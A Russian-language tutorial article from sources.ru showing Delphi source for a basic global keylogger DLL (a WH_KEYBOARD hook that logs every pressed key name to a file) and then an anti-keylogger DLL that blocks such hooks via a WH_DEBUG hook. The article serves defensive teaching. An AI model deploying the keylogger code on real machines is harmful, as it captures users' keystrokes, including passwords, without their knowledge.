Sources.RU Magazine Поиск по журналу
 

TopList

Охота за шпионом, или АнтиКейлоггер

Автор: x2er0

Сегодня мы рассмотрим, как с помощью DLL перекрыть кислород обыкновенному KeyLogerr'у, работающему на основе SetWindowsHookEx. Для начала напишем простенький KL:

library kl;

Uses
   Windows
   ,Messages
   ;

Var
  hook:HHook = 0;

Procedure WriteLog(const log: PChar);
 Var
   hFile: THandle;
   dwError: DWord;
   buf: array[0..1] of Char;
   dwWritten: DWord;
 Begin
   hFile := CreateFile(PChar('kl'), GENERIC_WRITE, 0, nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
   Try
     If (hFile <> INVALID_HANDLE_VALUE) Then
     Begin
       dwError := SetFilePointer(hFile, 0, nil, FILE_END);
       If (dwError <> $FFFFFFFF) Then
       Begin
          WriteFile(hFile, log^, length(log), dwWritten, nil);
          buf[0] := #13;
          buf[1] := #10;
          WriteFile(hFile, buf, 2, dwWritten, nil);
       End;
     End;
   Finally
     CloseHandle(hFile);
   End;
 End;

Function HookProc(nCode: LongInt; wParam, lParam: LongInt): LongInt stdcall;
 Var
   lpszName: Array[0..255] Of Char;
 Begin
    If (nCode = HC_ACTION) And ((lParam shr 31) = 1) Then
    Begin

       GetKeyNameText(lParam, @lpszName, $FF);
       WriteLog(PChar(@lpszName));

    End;
    Result := CallNextHookEx(Hook, nCode, wParam, lParam);
 End;


procedure sethook(flag:bool);export; stdcall;
begin
 if flag then
    hook := SetWindowsHookEx(WH_KEYBOARD, @HookProc, hInstance, 0)
 else
   begin
    unhookwindowshookex(hook);
    hook:=0;
   end;
end;

exports sethook;

begin
end.

Он записывает имена всех нажатых клавиш в указанный файл. Этого достаточно для проверки и написания АнтиКейлоггера.

Приступим...

Что будет представлять собой наш AKL? Все просто. Это будет такое же .EXE приложение, устанавливающее Hook с помощью SetWindowsHookEx и использующее DLL. Единственное отличие в том, что хук будет устанавливаться не на WH_KEYBOARD, а на WH_DEBUG. Вот и все.

Напишем:

library akl;

Uses
   Windows
   ;

Var
  hook:HHook = 0;

Function DebugProc(nCode: LongInt; wParam, lParam: LongInt): LongInt stdcall;
Begin
    If (nCode = HC_ACTION) Then
    Begin

       If (wParam = WH_KEYBOARD) Then
       Begin
          Result := 1;
          Exit;
       End;

    End;
    Result := CallNextHookEx(Hook, nCode, wParam, lParam);
End;


procedure sethook(flag:bool);export; stdcall;
begin
 if flag then
    hook := SetWindowsHookEx(WH_DEBUG, @DebugProc, hInstance, 0)
 else
   begin
    unhookwindowshookex(hook);
    hook:=0;
   end;
end;

exports sethook;

begin
end.

Особенность в том, что мы, поймав wParam = WH_KEYBOARD, устанавливаем Result := 1 и выходим без передачи управления на другую ловушку (CallNextHookEx).

Это самые простые КейЛоггер и АнтиКейлоггер. Но я буду рад, если они кому-то пригодятся!

Удачи!!!



 Design by Шишкин Алексей (Лёха)  ©2004-2008 by sources.ru